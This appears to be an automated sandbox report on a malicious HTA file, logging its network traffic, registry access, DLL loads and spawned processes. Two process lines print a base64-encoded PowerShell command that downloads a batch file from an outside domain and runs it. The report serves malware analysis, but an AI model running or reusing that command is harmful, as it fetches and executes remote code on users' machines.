Source: mshta.exe, 00000000.00000003.1700820649.0000000002B4F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1700851809.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1708862080.0000000002B59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wdcp.microsoft.w

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

Source: unknown

HTTPS traffic detected: 193.26.115.39:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_02CFA3F4	2_2_02CFA3F4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_02CFAF30	2_2_02CFAF30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_02CFB9FE	2_2_02CFB9FE

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal64.evad.winHTA@4/3@1/1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3668:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lnl1fx4e.b2x.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\c1.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000002.00000002.1697987815.0000000007330000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb35 source: powershell.exe, 00000002.00000002.1692460434.0000000002DF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dows\dll\mscorlib.pdb source: powershell.exe, 00000002.00000002.1697987815.0000000007330000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
